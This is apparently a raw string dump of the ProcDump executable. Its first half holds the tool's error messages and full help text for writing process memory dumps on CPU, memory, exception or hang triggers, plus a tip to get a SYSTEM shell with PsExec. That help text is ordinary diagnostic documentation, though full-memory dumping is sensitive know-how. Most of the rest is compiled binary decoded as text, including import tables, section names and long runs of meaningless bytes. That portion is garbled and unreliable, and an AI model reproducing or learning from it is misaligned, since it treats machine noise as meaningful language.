Error: Incompatible Protocol ICorDebug->DebugActiveProcess - Error %x CLR Error ICorDebug->SetUnmanagedHandler - Error %x ICorDebug->SetManagedHandler - Error %x ICorDebug->Initialize - Error %x K32GetModuleFileNameExWkernelbase.dllGetModuleFileNameExWBINRESwb64.exeRCPROCDUMP64%TEMP%Error launching 64-bit version: %SystemRoot%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll %sError 0x%08X (%ld): %s %s%s%s%s (0x%08X, %ld) %s%s%sError 0x%08X (%ld) %s%sProcDump Hung WindowHung Window: Hung Window: %lds %s Hung Window: %s \mscorwks.dll\clr.dll\coreclr.dllProcDump Performance CounterCounter: % 8I64d Counter: % 8I64d %lds %s Counter: % 8I64d %s GetPackageFullNameGetPackagesByPackageFamily{B1AEC16F-2383-4852-B0E9-8F0B1DC66B4D}NtResumeProcess{45BA127D-10A8-46EA-8AB7-56EA9078943C}09|)J=AxA.VGމJ= Close Logoff Shutdown ^C ^Break Quitting has taken too long. Terminating ProcDump is now set as the Just-in-time (AeDebug) debugger. ProcDump is no longer the Just-in-time (AeDebug) debugger. Unable to load debug help. Unable to import the 'MiniDumpWriteDump' function from debug help. Unable to calculate the 'MiniDumpWriteDump' flags for this version of debug help. The specified DLL does not have an export function named MiniDumpCallbackRoutine. Error loading callback library: The process has exited. cancelcompleteWaiting for dump to %s... Dump count reached. Dump count not reached. string too longUnspecifiedTriageMiniMiniPlusCustomCallbackFullUnsupportedWaiting for process named %s... Multiple processes match the specified name. No process matching the specified name can be found. Try elevating the command prompt or using PsExec to make one as SYSTEM. psexec.exe -s -d -i cmd.exe procdump.exe -accepteula ... No process matching the specified PID can be found. \ProcDump_%02d%02d%02d_%02d%02d%02d.%03d.logMonitors a process and writes a dump file when the process exceeds the specified criteria or has an exception. Capture Usage: procdump.exe [-mm] [-ma] [-mt] [-mp] [-mc <Mask>] [-md <Callback_DLL>] [-mk] [-n <Count>] [-s <Seconds>] [-c|-cl <CPU_Usage> [-u]] [-m|-ml <Commit_Usage>] [-p|-pl <Counter> <Threshold>] [-h] [-e [1] [-g] [-b] [-ld] [-ud] [-ct] [-et]] [-l] [-t] [-f <Include_Filter>, ...] [-fx <Exclude_Filter>, ...] [-dc <Comment>] [-o] [-r [1..5] [-a]] [-at <Timeout>] [-wer] [-64] { {{[-w] <Process_Name> | <Service_Name> | <PID>} [<Dump_File> | <Dump_Folder>]} | {-x <Dump_Folder> <Image_File> [Argument, ...]} } Install Usage: procdump.exe -i [Dump_Folder] [-mm] [-ma] [-mt] [-mp] [-mc <Mask>] [-md <Callback_DLL>] [-mk] [-r] [-k] Uninstall Usage: procdump.exe -u Dump Types: -mm Write a 'Mini' dump file. (default) - Includes directly and indirectly referenced memory (stacks and what they reference). - Includes all metadata (Process, Thread, Module, Handle, Address Space, etc.). -ma Write a 'Full' dump file. - Includes all memory (Image, Mapped and Private). -mt Write a 'Triage' dump file. - Includes directly referenced memory (stacks). - Includes limited metadata (Process, Thread, Module and Handle). - Removal of sensitive information is attempted but not guaranteed. -mp Write a 'MiniPlus' dump file. - Includes all Private memory and all Read/Write Image or Mapped memory. - To minimize size, the largest Private memory area over 512MB is excluded. A memory area is defined as the sum of same-sized memory allocations. The dump is as detailed as a Full dump but 10%%-75%% the size. - Note: CLR processes are dumped as Full (-ma) due to debugging limitations. -mc Write a 'Custom' dump file. - Includes the memory and metadata defined by the specified MINIDUMP_TYPE mask (Hex). -md Write a 'Callback' dump file. - Includes the memory defined by the MiniDumpWriteDump callback routine named MiniDumpCallbackRoutine of the specified DLL. -mk Also write a 'Kernel' dump file. - Includes the kernel stacks of the threads in the process. - OS doesn't support a kernel dump (-mk) when using a clone (-r). - When using multiple dump sizes, a kernel dump is taken for each dump size. Conditions: -a Avoid outage. Requires -r. If the trigger will cause the target to suspend for a prolonged time due to an exceeded concurrent dump limit, the trigger will be skipped. -at Avoid outage at Timeout. Cancel the trigger's collection at N seconds. -b Treat debug breakpoints as exceptions (otherwise ignore them). -c CPU threshold above which to create a dump of the process. -cl CPU threshold below which to create a dump of the process. -dc Add the specified string to the generated Dump Comment. -e Write a dump when the process encounters an unhandled exception. Include the 1 to create dump on first chance exceptions. Add -ld to create a dump when a DLL (module) is loaded (filtering applies). Add -ud to create a dump when a DLL (module) is unloaded (filtering applies). Add -ct to create a dump when a thread is created. Add -et to create a dump when a thread exits. -f Filter (include) on the content of exceptions, debug logging and filename at DLL load/unload. Wildcards (*) are supported. -fx Filter (exclude) on the content of exceptions, debug logging and filename at DLL load/unload. -g Run as a native debugger in a managed process (no interop). -h Write dump if process has a hung window (does not respond to window messages for at least 5 seconds). -k Kill the process after cloning (-r), or at end of dump collection. -l Display the debug logging of the process. -m Memory commit threshold in MB at which to create a dump. -ml Trigger when memory commit drops below specified MB value. -n Number of dumps to write before exiting. -o Overwrite an existing dump file. -p Trigger when the Performance Counter is at, or exceeds, the specified Threshold. Some Counters and/or Instance Names can be case-sensitive. -pl Trigger when the Performance Counter falls below the specified Threshold. -r Dump using a clone. Concurrent limit is optional (default 1, max 5). OS doesn't support a kernel dump (-mk) when using a clone (-r). CAUTION: a high concurrency value may impact system performance. - Windows 7 : Uses Reflection. OS doesn't support -e. - Windows 8.0 : Uses Reflection. OS doesn't support -e. - Windows 8.1+: Uses PSS. All trigger types are supported. -s Consecutive seconds before dump is written (default is 10). -t Write a dump when the process terminates. -u Treat CPU usage relative to a single core (used with -c). -w Wait for the specified process to launch if it's not running. -wer Queue the (largest) dump to Windows Error Reporting. -x Launch the specified image with optional arguments. If it is a Store Application or Package, ProcDump will start on the next activation (only). -64 By default ProcDump will capture a 32-bit dump of a 32-bit process when running on 64-bit Windows. This option overrides to create a 64-bit dump. Only use for WOW64 subsystem debugging. Install/Uninstall: -i Install ProcDump as the AeDebug postmortem debugger. Only -mm, -ma, -mt, -mp, -mc, -md and -r are supported as additional options. Uninstall (-u only) restores the previous configuration. -u As the only option, Uninstalls ProcDump as the AeDebug postmortem debugger. License Agreement: Use the -accepteula command line option to automatically accept the Sysinternals license agreement. Automated Termination: -cancel <Target Process PID> Using this option or setting an event with the name "ProcDump-<PID>" is the same as typing Ctrl+C to gracefully terminate ProcDump. Graceful termination ensures the process is resumed if a capture is active. The cancellation applies to ALL ProcDump instances monitoring the process. Filename: Default dump filename: PROCESSNAME_YYMMDD_HHMMSS.dmp The following substitutions are supported: PROCESSNAME Process Name PID Process ID EXCEPTIONCODE Exception Code YYMMDD Year/Month/Day HHMMSS Hour/Minute/Second Examples: Use -? -e to see example command lines. ------------------------------------------------------------------------------- - Write a Mini dump of a process named 'notepad' (only one match can exist): C:\>procdump notepad - Write a Full dump of a process with PID '4572': C:\>procdump -ma 4572 - Write a Mini first, and then a Full dump of a process with PID '4572': C:\>procdump -mm -ma 4572 - Write 3 Mini dumps 5 seconds apart of a process named 'notepad': C:\>procdump -n 3 -s 5 notepad - Write up to 3 Mini dumps of a process named 'consume' when it exceeds 20%% CPU usage for five seconds: C:\>procdump -n 3 -s 5 -c 20 consume - Write a Mini dump for a process named 'hang.exe' when one of its windows is unresponsive for more than 5 seconds: C:\>procdump -h hang.exe - Write a Full and Kernel dump for a process named 'hang.exe' when one of its C:\>procdump -ma -mk -h hang.exe - Write a Mini dump of a process named 'outlook' when total system CPU usage exceeds 20%% for 10 seconds: C:\>procdump outlook -s 10 -p "\Processor(_Total)\%% Processor Time" 20 - Write a Full dump of a process named 'outlook' when Outlook's handle count exceeds 10,000: C:\>procdump -ma outlook -p "\Process(Outlook)\Handle Count" 10000 - Write a Full dump of 'svchost' PID 1234, Instance #87, when the handle count C:\>procdump -ma 1234 -p "\Process(svchost#87)\Handle Count" 10000 Note: Multiple Instance Counters If there are multiple instances of the counter, you'll need to include the Name and/or Instance number. \Processor(NNN)\%% Processor Time \Thermal Zone Information(<name>)\Temperature \Process(<name>[#NNN])\<counter> Older OSes require you to append the PID for \Process counters. \Process(<name>[_PID])\<counter> Tip: Use Performance Monitor to view the counters (esp. case sensitivity). Tip: For \Process(*) based counters, use PowerShell to map a PID to its #NNN. Get-Counter -Counter "\Process(*)\ID Process" - Writes a Full dump for a 2nd chance exception: C:\>procdump -ma -e w3wp.exe - Writes a Full dump for a 1st or 2nd chance exception: C:\>procdump -ma -e 1 w3wp.exe - Writes a Full dump for a debug string message: C:\>procdump -ma -l w3wp.exe - Write up to 10 Full dumps of each 1st or 2nd chance exception of w3wp.exe: C:\>procdump -ma -n 10 -e 1 w3wp.exe - Write up to 10 Full dumps if an exception's code/name/msg contains 'NotFound': C:\>procdump -ma -n 10 -e 1 -f NotFound w3wp.exe - Write up to 10 a Full dump if a debug string message contains 'NotFound': C:\>procdump -ma -n 10 -l -f NotFound w3wp.exe - Wait for a process called 'notepad' (and monitor it for exceptions): C:\>procdump -e -w notepad - Launch a process called 'notepad' (and monitor it for exceptions): C:\>procdump -e -x c:\dumps notepad - Register for launch, and attempt to activate, a store 'application'. A new ProcDump instance will start when it is activated: C:\>procdump -e -x c:\dumps Microsoft.BingMaps_8wekyb3d8bbwe!AppexMaps - Register for launch of a store 'package'. A new ProcDump instance will start when it is (manually) activated: C:\>procdump -e -x c:\dumps Microsoft.BingMaps_1.2.0.136_x64__8wekyb3d8bbwe - Windows 7/8.0; Use Reflection to reduce outage for 5 consecutive triggers: C:\>procdump -r -ma -n 5 -s 15 wmplayer.exe - Windows 8.1+; Use PSS to reduce outage for 5 concurrent triggers: C:\>procdump -r 5 -ma -n 5 -s 15 wmplayer.exe - Install ProcDump as the (AeDebug) postmortem debugger: C:\>procdump -ma -i c:\dumps ..or.. C:\Dumps>procdump -ma -i - Uninstall ProcDump as the (AeDebug) postmortem debugger: C:\>procdump -u <n/a>Process: %s (%d) Monitoring PID: %d Process image: %s <>=CPU threshold: %s %d%% of single core CPU threshold: %s %d%% of system CPU threshold: n/a n/aPerformance counter: %s Performance threshold: %s %I64d Commit threshold: %s %d MB Commit threshold: n/a Threshold seconds: %d Threshold seconds: n/a EnabledDisabledHung window check: %s Log debug strings: %s Module Load: %s Module Unload: %s Thread Create: %s Thread Exit: %s +BreakpointsFirst Chance+UnhandledUnhandledException monitor: %s%s Exception filter: Disabled Exception filter: [Includes] %s [Excludes] Terminate monitor: %s PSSReflectionCloning type: %s Concurrent limit: %ld Avoid outage: %s Concurrent limit: n/a Avoid outage: n/a Number of dumps: %d Dump folder: %s\ Dump filename/mask: %s Queue to WER: %s Kill after dump: %s Press Ctrl-C to end monitoring without terminating the process. The directory does not exist: %s .dmp/?-?/e-e/a-a/at-at/b-b/c-c/cl-cl/cancel-cancel Unable to open cancel event named: %s /dc-dc2/f-f*/fx-fx/g-g/h-h/i-i/mt-mt/mm-mm/ma-ma/mp-mp/mc-mc/md-mk/mk/r-r/k-k/wer-werWhen enabling AeDebug Just-in-Time support (-i), only the Triage (-mt), Mini (-mm), Full (-ma), MiniPlus (-mp), Custom (-mc), Callback (-md), Kernel (-mk), Cloning via PSS (-r), Kill after Dump (-k), Avoid Timeout (-at) and WER (-wer) arguments can be used. /j-j/jx-jx/l-l/log-log/m-m/ml-ml-md/n-n/o-o/p-p/pl-pl\%[^(](%[^)])\%[^ ]\%[^\]\%[^ ]Invalid performance format: Error opening performance counter database: Error opening performance counter "%s": Error querying performance counter "%s": PROCDUMP_CONCURRENT_MAX_LIMIT%ldPssCaptureSnapshotRtlCreateProcessReflectionProcess cloning requires Windows 7 or higher. /s-s/t-t/tgp-tgp/u-u/w-w"%s" "/y-y-tid/64-64/ld-ld/ud-ud/ct-ct/et-et%dThe wait option requires the process be specified by name. Seconds (-s) are only supported for timer (-n), CPU usage (-c), memory commit (-m), performance counter (-p) and hung window (-h). Single core scale (-u) requires CPU usage (-c). Breakpoints (-b) require exception monitoring (-e). Filtering (-f/-fx) requires exception monitoring (-e) and/or debug logging (-l). Running as just a native debugger (-g) requires exception monitoring (-e) and/or debug logging (-l). Process cloning via reflection (-r) can't be used with process termination (-t) due to OS limitations. Process cloning via reflection (-r) can't be used with process exceptions (-e) due to OS limitations. Process cloning via reflection (-r) can't be used with debug logging (-l) due to OS limitations. Process cloning via PSS (-r) can't be used with kernel dumping (-mk) due to OS limitations. Avoid outage (-a) requires process cloning (-r). Just-in-Time can only be used with the Mini, MiniPlus (-mp), Full (-ma) and Custom MiniDumpCallbackRoutine (-d) arguments. Kill after dump is only valid with AeDebug Just-in-Time support (-i). When disabling AeDebug Just-in-Time support (-u), no other arguments can be used. PROCESSNAME_YYMMDD_HHMMSS-_.Kernel.dmp.DbgCfg.dmp.DbgCfg.iniwPssFreeSnapshotMiniDumpCallbackRoutine\dbghelp.dllC:\Debuggers\dbghelp.dllC:\Debuggers\WOW64\dbghelp.dllC:\Debuggers_x86\dbghelp.dllSOFTWARE\Microsoft\Windows Kits\Installed RootsWindowsDebuggersRoot10x86\dbghelp.dllWindowsDebuggersRoot81%ProgramFiles(x86)%\Windows Kits\10\Debuggers\x86\dbghelp.dll%ProgramFiles(x86)%\Windows Kits\8.1\Debuggers\x86\dbghelp.dll%ProgramFiles(x86)%\Windows Kits\8.0\Debuggers\x86\dbghelp.dll%ProgramFiles%\Debugging Tools for Windows (x86)\dbghelp.dllSOFTWARE\Microsoft\DebuggingToolsWindbgdbghelp.dllimagehlp.dll*** Manual dumpManual*** Timed dump (%ld seconds)Timeds*** Process didn't utilized %d%% CPU (uniprocessor scale) for %ld second%s. Value: %d%%. Hottest Thread: %d (0x%x).*** Process didn't utilized %d%% CPU (system scale) for %ld second%s. Value: %d%%. Hottest Thread: %d (0x%x).*** Process exceeded %d%% CPU (uniprocessor scale) for %ld second%s. Value: %d%%. Hottest Thread: %d (0x%x).*** Process exceeded %d%% CPU (system scale) for %ld second%s. Value: %d%%. Hottest Thread: %d (0x%x).CPU*** Process didn't utilized %d MB commit usage for %ld second%s: %d MB*** Process exceeded %d MB commit usage for %ld second%s: %d MBCommit*** Counter "%s" didn't utilized %I64d for %ld second%s. Value: %I64d*** Counter "%s" exceeded %I64d for %ld second%s. Value: %I64dCounter*** Hung window detected: %xHung Window*** First chance exception: %08X%s*** Unhandled exception: %08X%sException*** Debug Output String: %sDebug String*** Module Load (TID: 0x%x, Base: 0x%p, "%s") *** Module Load (TID: 0x%x, Base: 0x%p) Module Load*** Module Unload (TID: 0x%x, Base: 0x%p, "%s") *** Module Unload (TID: 0x%x, Base: 0x%p) Module Unload*** Thread Create (New TID: 0x%x) Thread Create*** Thread Exit (TID: 0x%x, Exit Code: 0x%x) Thread Exit*** Process terminationTermination*** Just-In-Time debugger. PID: %ld Event Handle: %ld JIT Context: .jdinfo 0x%I64x*** Just-In-Time debugger. PID: %ld Event Handle: %ld JIT Context: .exr -1; .ecxrAeDebug%08XyyMMddHHmmssPROCESSNAMEPIDEXCEPTIONCODEYYMMDDHHMMSS.\\Error creating dump file: Dump %ld %s: %s %s: Queuing to WER... Error: 0x%08X; Failed to initialize WER Report Failed to initialize WER ReportTrigger%08xExceptionCodeSessionIDError: 0x%08X; Failed to add file to WER Report: %s Failed to add file to WER Report: %sWER: %s Error: 0x%08X; Failed to submit WER Report Failed to submit WER ReportProcDump Dump EngineAlready at dump count. skippingTrigger no longer timely. Waited %0.1f seconds for another dump to complete. Process terminated before capture. missedAlready at concurrent limit: %ld avoided *** via Process Reflection *** via Process Snapshot *** %s%s%s%s%s%s initiated{07fc2b94-5285-417e-8ac3-c2ce5240b0fa}%ld MB written in %0.1f seconds kernelFailed: Elevation Required Failed: %08X MiniPlus dumps are limited to 4GB by the API. Changing to FullMinus mode to support dumping more than 4GB. Error writing dump file: 0x%08X errorEstimated dump file size is %ld MB. writingException in MiniDumpWriteDump Callback: %d rjC@hUXa+[%02d:%02d:%02d] \\.\Global\ProcmonDebugLoggerKernel32.dllGetThreadDescriptionSetThreadDescriptionProcDump TimedTimed: Timed: %lds %s wer.dllWerReportCreateWerReportSetParameterWerReportAddFileWerReportSubmitWerReportCloseHandleApplicationName0.0.0.0%d.%d.%d.%dApplicationVersionQueuedUploadedDebugFailedCancelledDisabledQueueAsyncCustomAction((EZA@@APE`(EC(ECNc<+Nc X+XNc l+lNc/E /E4^E@C0XE,$E<$EH$Ed'EXE@,$E YEx$E$E$EH$Ed'E YE@x$EYE$E$E$EYE@$E,YE%E %E,%Ed'E,YE@%ET&Ep%E%E%Ep&E8&EYE@%E&EYE@`&E,ZE@H%EZEB%EX%EYE%E&EZE@%EZEB%E%E&E&E,ZE@H%EYE%E%E&E$'EZE@&EZE&ETZE@'E&E&E'E&E&E&EhYE'E'E'Ed'E'Ed'EhYE@'ELYE@'Ed'E'ELYE'EH'EX'EYE'EYE@'E<(EZE(ED(EZE@(Essy mYmmnMn}nno0oPomoooooop(*py``kKkk8l;l>lAlllՍ׍QTQT9<=@UX(*Z\il;=ikҾվTV^`9B`cnq47,/dg.1BETWDJz^Fm[ x|4W CmIaLWlmoRSDSaKCGD:\a\1\s\Win32\Release\ProcDump.pdb!!GCTL`.text$di`\.text$mn m0.text$xPp3.text$yd.idata$5.00cfg.CRT$XCA.CRT$XCAA .CRT$XCU.CRT$XCZ.CRT$XIA.CRT$XIAA .CRT$XIAC$.CRT$XIC8.CRT$XIZ<.CRT$XLA@.CRT$XLZD.CRT$XPAH .CRT$XPXT.CRT$XPXAX.CRT$XPZ\.CRT$XTA`.CRT$XTZp.rdata$.rdata$T$H.rdata$r`(T.rdata$sxdata(h.rdata$voltmd+.rdata$zzzdbg/.rtc$IAA /.rtc$IZZ/.rtc$TAA/.rtc$TZZ/.tls/.tls$ /.tls$ZZZ(/ .xdata$x9.idata$2x:.idata$3:.idata$4=v .idata$6P.dataX.data$rY.data$rsZ0$.bss.rsrc$01h.rsrc$02"L/E1vA"x/E@mCLmC"/EmCmCmC"/EmCnCmCmC",0E@nC"X0EpnC"0EnC"0EnC1vAKAKA"1E1vA"[@<1EL9Eh9EXE _A[@t1E1EH1Eh9E YE ^A@aA1E"1E1EeAeA~hAhAtAtAA6A@AAЇAڇA@3A2E"2E2EMAQAAA[@L3EX3Eh9E,YE AABABBhBsB BBBBBgC#C/CECECgCgC9EL9Eh9ELYE [@hYE Z@[@<9EYE `[@H====t:Cd=D|:EH:E@:BF<fFlX=F̂p=:GE,FFFEEEEEJ2J&JJ JIIIIIIIJ?>>>>?>>|>j>\>L>:>(>>>==JJJJJBInI\IFI6I$IIBG^G|GGGGGGH(HBHXHdHvHHHHHHHHHH IPF=(DDCCCCCTD8DDDtDbDFD D===FFFFrFFFG*GGetFileVersionInfoSizeWGetFileVersionInfoWVerQueryValueWVERSION.dllOStrStrIWSHLWAPI.dllOpenEventWCreateEventWUSetLastError9GetVersionExWLoadLibraryExWGetCommandLineWGetStdHandleLocalAllocGetProcAddressLocalFreeGetModuleHandleWcGetFileTypeGetModuleFileNameWLoadLibraryWEEnterCriticalSectionLeaveCriticalSection8SetEventCloseHandleWaitForSingleObjectSleep"DeleteCriticalSectionK32GetModuleBaseNameWReadProcessMemoryK32EnumProcessModules%GetTickCountSizeofResource,GetCurrentProcessvExpandEnvironmentStringsWWaitForDebugEvent|InitializeCriticalSectionZGetFileAttributesWDebugActiveProcessStopResumeThreadContinueDebugEvent+OpenProcesswGetLastErrorLockResource'DeleteFileWCreateThreadLoadResourceFindResourceWDebugActiveProcessCreateProcessWFreeLibraryQGetExitCodeProcessMultiByteToWideCharFormatMessageW SetConsoleCtrlHandlerTerminateProcessnGetFullPathNameWWaitForMultipleObjectsMGetEnvironmentVariableAK32GetProcessImageFileNameW CreateToolhelp32SnapshotMProcess32NextWKProcess32FirstWGetSystemInfo%GetCurrentDirectoryW-GetCurrentProcessIdSystemTimeToTzSpecificLocalTimeGetSystemTimeDebugBreakIsDebuggerPresentaGetFileSizeExCreateFileWReleaseSemaphoreGetProcessIdGetThreadContextESetFilePointerEx*GetTimeFormatWrExitProcessCreateSemaphoreW6GetDateFormatW2OpenThread/DeviceIoControl0GetCurrentThreadVirtualQueryExKERNEL32.dllGetSysColorBrushLGetDlgItem&SetCursorULoadCursorWDialogBoxIndirectParamWSetWindowTextWEndDialogSendMessageWInflateRectcLoadStringA EnumWindows2IsHungAppWindowJIsWindowVisibleGetWindowThreadProcessIdwsprintfWUSER32.dllEndPageStartDocWSetMapModeGetDeviceCapsEndDocStartPageGDI32.dllPrintDlgWCOMDLG32.dllRegQueryValueExWRegOpenKeyWdRegCreateKeyWRegOpenKeyExWRegSetValueExWXRegCloseKeypRegDeleteValueWaRegCreateKeyExWlRegDeleteKeyWOpenProcessTokenAdjustTokenPrivilegesLookupPrivilegeValueWEnumServicesStatusExWOpenSCManagerWeCloseServiceHandleADVAPI32.dll CommandLineToArgvWSHELL32.dllCoUninitialize^CoInitializeEx(CoCreateInstance CoAllowSetForegroundWindow CLSIDFromStringole32.dllPdhCollectQueryDataAPdhGetFormattedCounterValuePdhAddCounterWWPdhOpenQueryWpdh.dllUnhandledExceptionFilterSetUnhandledExceptionFilterIsProcessorFeaturePresent}InitializeCriticalSectionAndSpinCountResetEventWaitForSingleObjectExGetStartupInfoWmQueryPerformanceCounter1GetCurrentThreadIdGetSystemTimeAsFileTimeInitializeSListHeadRtlUnwindRaiseExceptionAEncodePointerTlsAllocTlsGetValueTlsSetValueTlsFreeGetModuleHandleExWGetConsoleCPpSetStdHandle:WriteFileGetCommandLineAgHeapFreecHeapAllocCompareStringWLCMapStringW&WideCharToMultiByteGetConsoleModeSetConsoleModeReadConsoleInputWReadConsoleWFlushFileBuffersGetConsoleOutputCPReadFileFindCloseFindFirstFileExWFindNextFileWIsValidCodePageGetACPGetOEMCPGetCPInfoLGetEnvironmentStringsWFreeEnvironmentStringsW6SetEnvironmentVariableWGetProcessHeapGetStringTypeWlHeapSizejHeapReAlloc9WriteConsoleW2SetEndOfFileDecodePointerN@D     CQEQEQEQEQE@WE CC0CQE REC C abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`y!@~ڣ @ڣ AϢ[@~QQ^ _j21~WEfEfEfEfEfEfEfEfEfEWEfEfEfEfEfEfEfE..uC.?AVlogic_error@std@@C.?AVlength_error@std@@C.?AVbad_exception@std@@C.?AVbad_alloc@std@@C.?AVexception@std@@C.?AVbad_array_new_length@std@@C.?AVtype_info@@C.?AVCCorDebugManagedCallback2@@C.?AUICorDebugManagedCallback@@C.?AUIUnknown@@C.?AUICorDebugManagedCallback2@@C.?AUICorDebugUnmanagedCallback@@C.?AVCCorDebugUnmanagedCallback@@C.?AVCWerReport@@(@Xp   { P }BINRES RCPROCDUMP64MZ@  !L!This program cannot be run in DOS mode. $,,hhh#~m#~#~bs2]i荗~{荐~a荖~[*l#~yh捚~vlihi捑~iRichhPEd(Nc" ! q@`tp`1T'Pp(@.text `.rdata24@@.datal: @.pdata1`2@@_RDATA\D@@.rsrcpF@@.relocL@BH(7H H(^H(E3E33AQ2HIH(H(E3E33AQHIH(H/@SH@HpH3H$0HHurH /hJ?D/HLhHL$ rLD$ 3ҹHuLL$ E3P3`HtAHH¬u33H$0H3TUH@[HT$LD$LL$ SVWH0HHt$`H Ht$(LAHD$ HHdHH0_^[HXHRH3H$@3HL$$A%{HL$ D$ jt*|$$w u!|$(vH$@H3|THX2H$@H3bTHX@SH HHt"]HE3AH [H%W3H [HL$HT$LD$LL$ SVWH0HHt$XHE3Ht$ LHHH0_^[HL$HT$LD$LL$ SVWH0HHt$X'H[E3Ht$ LHHeH0_^[LD$LL$ SUVWH8IHl$xHH Hl$(LLHD$ HHhHH8_^][HL$HT$LD$LL$ SVWH0HHt$XgHE3Ht$ LHH]H0_^[@UAWHl$H(H H3HEWLD$ HL$(33HED$0D$ xD$@D$PD$`D$pEHL$ D$HLHD$XH$HH$P3H$XL$ L$L$ZHIHL$@LHL$@ DHL$@XHL$@ZwHL$@E3WLmDmEAULmWHL$@ǙHMHMiȠAƙLmM`iȠD‰MHMEEHL$@HsHUHEDmEE(E3AUE3I8HL$@HLMȺ9EEIHL$@HL$L$H$P;}@fHL$@]ELMȺ9AIHL$@V;|E3E39IHL$@IL$ H$XH$HHMH3OH(A_]H\$WH H bH=xb3DCHt,fffHH8uHLHDHuAL2bLMtILDIM+M@A HIuHHA<uNDIMuH\$0BIH _H\$Ht$H|$AVH MIcLHHHDH<uH;IOHcLӯA>HH\$03Ht$8H|$@H A^Ht$WH`HH3H$PIHt%'u6H;u&Aȃt?t*t3HH3HrH_H$xHHD$ HD$0HD$4LZHD$ LκHD$(HL$@NHT$@HhHAE3HȺ5HLL$(IHAHH$xH$PH3MH$H`_HAHLHfDHfPEfHHL|$PMHH<AL9 <Hl$@AH|$HffI I|H\$03H|$8H ^H\$0H|$8H ^3H ^H\$WH IHuHH\u H\$0H _H\$0H _HT$LD$LL$ SVWH0HHt$`HE3Ht$ LHHH0_^[HT$LD$LL$ SVWH0HHt$`HE3Ht$ LHHH0_^[@VAWH(E3Ld$X:MLt$ ALH\$@Hl$HH|$PI IHx@SH HT$8Hu+H|$8u#HuȺiHH>H [@SHPHH3H$@MADL{HLT$(D$ HL$@LL$0HLD$8HT$@HL$83҅HDHH$@H3=HP[H\$WH0LL$XfD$PLD$ HD$PHH#HD$ HHD$ LHD@H\$@H0_H\$ UVWATAUAVAWH$H+HH3H3ELHHf3HAlc3HAXcAH3SM%HD$`D$`HD$(LL$PHE3E3HD$ HbDl$PIlu|$PtfDHD$`Dl$PHD$(LL$PHD$`E3HD$ HIu|$PtfDHH8LHHHD$XLl$XAvHD$ H۶E3DIIuPHL$XHLl$XI]Dt)EH HHEH ¶AHD$dLl$XHD$@H_HD$XDl$dHD$8E3Ll$0E3t$(IDl$ HHÐHfD9,AuHt`HL$XED$(HҵHAE3HD$ t(EH HHEH HHHfD9,AuHt`HL$XED$(HbHAE3HD$ 7t(EH gH|HEH ݶHHL$XLkHLWHvLHL'HLHD8tLHuD8tLHTD8tLH3D8tLHD8t`DLǶWHaLHLHD8tHLHLHpLѵHXD8tL@H7D8:tL/HXt|3LWHMbHDʺHLѵHLHD8XtLHoD8tLHNLH6LG H!LH 3HL$tA]HL$pD$pԳ|$tH@L!LBHHHfffD9lAH@uEAD$(HtHE3IHD$ \t(EH HHEH ҴmHfD9lXH[u]AD$(HHE3IHD$ ؅t%EH H0HEH UH H EHHEH HH HH "3HH35H$HHA_A^A]A\_^]H\$UVWATAUAVAWH$`H+HH3HP3ELHD$@3fD$HAHL$P[3E2\$0\$4MEOH\$8AHD$8AHD$ E3HȯI?L-ЯH=tEH sHIEHL$8HD$4HD$(LL$0HD$@D$4E3HD$ H:AIu|$0tf\$@HL$8HD$4HD$(LL$0HD$P\$0E3HD$ HD$4u|$0tf\$PHL$8­HHL$@HHffDHL$@HT$8_Lt$8AMOCHGMt%LLt$(Ht$ LáHt$ HGH$@HMtOHHfAH$@HtH)MtIHL$@HPL$0H$8HOI HOHH$HH$ H3lHPA_A\_H\$WH HAHHـVt H GHKHH\$0H _H\$WH HAHHـVt H HKHH\$0H _AH\$WH HAHHـVt H |ǾHKHH\$0H _1H\$WH HAHVt H o芾@HtHHLD$0HYH؅xHL$03HP HL$0HPy/t'OtL5HHCHhH\$8H _H\$WH HAHVt H Oڽ@HtHHLD$0HH؅xHL$03HP HL$0HPy/t'OtLH(GIhH\$8H _H\$WH HAHVt H '*@HtgHHT$8HP0xUHL$8LD$0HH؅xHL$03HP HL$0HPHL$8HPy/t'OtLHٟFzgH\$@H _H\$WH HAHVt H ןZ@HtH3HP ؅y/=t(=Ot!L.HHH3H7HOHŇHOPHO SXHEH\$0H _H\$Ht$WH HAAHHVt H T/tu3H9_u }2(HtHWE3H=uHOHt HVHOHt[HP 3H\$0Ht$8H _HOH2ubu)u HOPDLbtH\$03Ht$8H _H\$Ht$WH HHH HOHtHPHGHt H_HHPHO H\$0Ht$8H _H%FH\$Ht$WH H3H "HKHt HHRHK H\$0HHt$8H _@VH HH HHPMaH\$0H|$8fffHNHuoHU3HHu" }N2CH3HHtH3HP yHFVt H HHPHNP`qH|$8H\$0HHP3H ^@SH HHH WHSH HH(HH [HQHHHEH\$WH HHHH(t H H\$0HH _HYHH(H!HAHAH^HHHHHL$ HCHL$ ,@SH HHH ݇WHSH HH'HHHH [@SH HHH WHSH HHO'HHHH [HHAP@SHHHH 4/H h2HH82H+HHl$xLt$PL|$HE3AEw@8UtD0L$L$L$L$3HH]=}Ht$pLd$`L%Ll$XL-ʊH|$hDL$D$L$HH$dAD8Pt ;`r;`DL_3-HH$HDHD$DUdL$0`L$(Hȉt$ tH茳iDH[=uU;t};`r}t(HDLIEĺ3HD$ AH[=H|$hLd$`Ht$pLl$XL|$H3Lt$PHl$xHĀ[;`rH;DLRDκIC3HD$(l$ f;DtHH$H轰DHD$DUdL$0`L$(Hȉt$ 3HK HĀ[̀y@SUVWATAUAVAWHHH3HD$pLL$8ILD$0LHT$(HٹeH%XLB9 ~QH =u<W0HH@HH w$ H o3D拃0 @L$ ]HLL$ DD$ HЍNtL$ HHLIDIMIWWۋAffH@HACH@H~LfL~DfDffAH@HACH@H~LfL~DfDfffoAAAI;rffofsffI~AI;s&H@HHLHLLAAI;rH%-Lt$ LL$ DHй@t9I؋Lt$ LL$ DHйuLI gA;NPt2H;OPuLo0Lo(H>HD9wLHIUUUUUUUE2H H;tBDC0D9At HHH;u!HA HAHCHHA A(AH|IUUUUUUUEuC0D$PHt$XHCHHD$`D$hH*L9N~LT$@Ht$H00D$P@L$`H HHMH(HHHt$HHEHHLAHKHD; Hl$0L|$(IhL5II;tXHK4uHI;uI;t>H;I;t6HHHuGCO K HHHI;uMtGA7HL 